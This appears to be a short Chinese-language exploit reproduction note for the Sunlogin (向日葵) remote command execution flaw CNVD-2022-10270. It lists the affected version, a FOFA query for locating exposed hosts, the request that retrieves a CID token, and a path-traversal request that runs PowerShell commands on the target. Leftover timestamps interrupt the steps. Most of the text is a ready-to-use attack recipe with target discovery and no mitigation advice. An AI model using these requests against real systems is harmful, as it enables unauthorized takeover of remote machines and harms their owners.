2022-05-24 13:56:53 +08:00
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# 向日葵 check 远程命令执行漏洞 CNVD-2022-10270
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## 漏洞描述
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向日葵通过发送特定的请求获取CID后，可调用 check接口实现远程命令执行，导致服务器权限被获取
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## 漏洞影响
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```
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11.0.0.33162
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```
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## FOFA
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```
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body="Verification failure"
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```
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## 漏洞复现
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向日葵在开启后会默认在 40000-65535 之间开启某端口
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2022-12-05 11:09:28 +08:00
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2022-05-24 13:56:53 +08:00
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发送请求获取CID
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```
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/cgi-bin/rpc?action=verify-haras
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```
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2022-12-05 11:09:28 +08:00
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2022-05-24 13:56:53 +08:00
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使用获取到的 verify_string 作为 cookie的 CID字段，进行命令执行
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```
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/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig
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```
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2022-12-05 11:09:28 +08:00
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